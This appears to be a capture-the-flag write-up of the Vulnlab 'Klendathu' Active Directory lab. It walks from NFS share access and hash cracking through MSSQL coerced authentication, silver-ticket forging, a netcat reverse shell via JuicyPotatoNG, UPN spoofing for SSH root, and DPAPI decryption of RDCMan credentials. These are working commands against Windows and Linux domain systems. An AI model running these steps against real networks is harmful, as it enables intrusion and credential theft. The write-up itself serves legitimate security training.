CTF-Writeups/Vulnlab/Klendathu.md
2024-07-09 00:56:48 +03:00

12 KiB

Vulnlab - Klendathu

DC1.KLENDATHU.VL

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-03 20:54:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?                
464/tcp  open  kpasswd5?                 
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped                       
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped            
3389/tcp open  ms-wbt-server Microsoft Terminal Services 

SRV1.KLENDATHU.VL

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn          
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
3389/tcp open  ms-wbt-server Microsoft Terminal Services 
| ssl-cert: Subject: commonName=SRV1.KLENDATHU.VL

SRV2.KLENDATHU.VL

PORT     STATE SERVICE VERSION       
22/tcp   open  ssh     OpenSSH 8.7 (protocol 2.0)
| ssh-hostkey:
|   256 d66045434fa19321bf1edcc36265e0e5 (ECDSA)
|_  256 1169f003859ff4ea1529d4c2655d27eb (ED25519)         
111/tcp  open  rpcbind 2-4 (RPC #100000)                
| rpcinfo:        
2049/tcp open 

We have smb port open on SRV1 and DC1, NFS on the linux hosts so let's start enumerating the shares first

Enumerating NFS share

We get access denied on both of them, looking at nfs, we have /mnt/nfs_share that can be mounted from our host

Mounting the folder with mount

sudo mount -t nfs 10.10.175.71:/mnt/nfs_shares /home/arz/Vulnlabs/Klendathu/shares

There's a configuration file for a cisco switch, at the end there's a contact email which could be a domain user, which is a valid user

We can also see a cisco secret password which is a MD5 hashed password

This can be cracked with either hashcat or john

hashcat -a 0 -m 500 ./hash.txt /usr/share/wordlists/rockyou.txt  --force

With these credentials we can list down the shares on both windows hosts and can read HomeDirs on DC which is interesting

But these directories are not accessible with zim

Moving forward we can enumerate AD with bloodhound

python3 /opt/BloodHound.py/bloodhound.py -d 'KLENDATHU.VL' -u 'zim' -p 'password' -ns 10.10.189.69 -dc DC1.KLENDATHU.VL

This user belongs to Netadmins group but there's nothing beyond that bloodhound show us

## Accessing MSSQL

We have MSSQL running on SRV1, so verifying these credentials can be used to login there

Here we can try to enable xp_cmdshell , but it was not getting executed, similarly with xp_dirtree as well

s

MSSQL Coerced Authentication

The reason behind this is probably that we are a guest user in the database, Looking for any alternate functions that can allow us to query for UNC paths, there's a neat cheat sheet for coercion through mssql but most of them didn't work as they required administrative privileges or were blocked, xp_fileexist was working tho but it wasn't able to perform coercion just showing if the file exists

Searching around for utilizing fileexists, there's another function sys.dm_os_file_exist which we can cause coercion, even tho the functionality is the same but I am uncertain what major difference is there between the two

SELECT * FROM sys.dm_os_file_exists('\\10.8.0.136\test\')

The mssql service is running as RASCZAK user so what if we try to create a silver ticket and then access the service, we can convert the plain text into nthash with python and get the domain sid with rpcclient (or any other way we want)

For forging a silver ticket, ticketer.py will be used to do that

ticketer.py -nthash hash -spn MSSQLSvc/SRV1.KLENDATHU.VL -domain KLENDATHU.VL -domain-sid S-1-5-21-641890747-1618203462-755025521 administrator

After using the forged ticket (silver ticket), we can see that the user we currently are is dbo which is the database owner, so now we won't have any restrictions on running xp_cmdshell

Now transferring netcat to get a shell

## Escalating to Local Admin

We can perform local privilege escalating by abusing SeImpersonte privilege through JuicyPotato-NG

JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Users/rasczak/nc.exe 10.8.0.136 2222 -e cmd.exe"

From here onwards there wasn't anything we could do as dumping lsass didn't returned any domain user's hash other than the local admin and machine account

## Spoofing domain users with GSSAPI

Going back to bloodhound, checking outbound control on RASCZAK , we have GenericWrite and ForeChangePassword on two domain users, rico and ibanez , with this ACL we can change the password using rpcclient or net rpc

These also doesn't have any ACLs on domain objects, the machine we have is linux (SRV2), using rico to logon to SRV2 didn't worked

There's a research done by Ceri Coburn from Pen Test Partners, where linux servers joined to Active Directory have misconfiguration in the authentication mechanism where name-type, enterprise is used (NT_ENTERPRISE), if we have GenericWrite on a domain user, we can edit the userPrincipalName attribute, this attribute is utilized by NT_ENTERPRISE through which we can spoof domain users (this is explained quite well in the blog post). To abuse this we need to first identify the user that we'll spoof, there's a group named LINUX_ADMINS with two members

Then adding userPrincpalName to be any of the two users, for adding this attribute we can use ldapmodify for that we need to create a ldif file

dn: cn=rico,cn=users,dc=klendathu,dc=vl
changetype: modify
modify: userPrincipalName
userPrincipalName: flores
ldapmodify -H ldap://DC1.KLENDATHU.VL -a -x -D "CN=RASCZAK,CN=USERS,DC=KLENDATHU,DC=VL" -W -f ./modify_user.ldif

This attribute can be verified with ldapsearch

Transfer Rubeus on SRV1 and get TGT for flores with /princapltype:enterprise

Make sure to have GSSAPI authentication in /etc/ssh/sshd_config and set the domain realm in /etc/krb5.conf

Convert the kirbi ticket to ccache and use it against ssh with -K

We can directly become root here as flores is a "linux admin", so just running sudo bash will give us the root shell

root user's directory has a backup of domain controller with ntds.dit , SAM and SECURITY file from the registry hive

But the passwords here have been reset so there's no point and parse the ntds file, the /tmp directory has a ticket for svc_backup account

This can be used just by transferring on our kali machine and export the ticket

svc_backup doesn't have any special ACL but the description does say about syncing data to user's directories

So going back at the enumeration stage where we were trying to access smb shares, there were some user's directories, with this user those directories are accessible

Here jnkeins.rdg , is a file containing configuration settings for connecting to remote desktop sessions, this is configuration is for administrator

From chatgpt I generated a ps script to decrypt the password but it didn't worked due to how the password is encrypted

Add-Type -AssemblyName System.Security
function Unprotect-RDCManPassword {
    param (
        [Parameter(Mandatory=$true)]
        [string]$encryptedString
    )

    try {
        # Convert the base64 string to a byte array
        $bytes = [Convert]::FromBase64String($encryptedString)

        # Decrypt the byte array using DPAPI
        $decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)

        # Convert the decrypted byte array back to a string
        $decryptedString = [System.Text.Encoding]::Unicode.GetString($decryptedBytes)

        return $decryptedString
    } catch {
        Write-Error "Failed to decrypt password: $_"
    }
}

$encryptedPassword = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABS0Gmx4U2k+bLUYfRpOl6wAAAAACAAAAAAADZgAAwAAAABAAAAAqvWFuXTLeCWvFNnkKjNDcAAAAAASAAACgAAAAEAAAAHHnv4NI9rTi06sCfSEy5hsoAAAAtCdIUjQfzQiJj363pO1RW/XSIlS/pMf/DBn3EHb8xEha6u1f/CMguhQAAACVsld41QgTZXMtLDfgrswQaShAxQ=="
$decryptedPassword = Unprotect-RDCManPassword -encryptedString $encryptedPassword

Write-Output "Decrypted Password: $decryptedPassword"

So again taking a step back in jenkins's home directory, there was AppData_Roaming_Backup.zip , after extracting the archive, the path to master keys is in ./AppData/Roaming/Microsoft/Protect

Using ntdissector , domain backup keys can be extracted, there will be a file named secrets.json contaning pvk value encoded in base64

We'll need this private key along with the path where the master keys are located and the SID of jenkins user (which can retrieved either by rpcclient, lookupsid), I'll grab the SID from bloodhound

From DIANA Windows Credential Toolkit , there's a script diana-msrdcmandec.py for decrpyting rdcman credentials, we have all the parameters for decrypting the password from rdg file

python3 ./script.py ./jenkins.rdg --masterkey /home/arz/Vulnlabs/Klendathu/AppData/Roaming/Microsoft/Protect/S-1-5-21-641890747-1618203462-755025521-1110 --sid S-1-5-21-641890747-1618203462-755025521-1110 -k ./key.pvk

Having administrator's password, we can just login through WinRM and get full access on the domain

References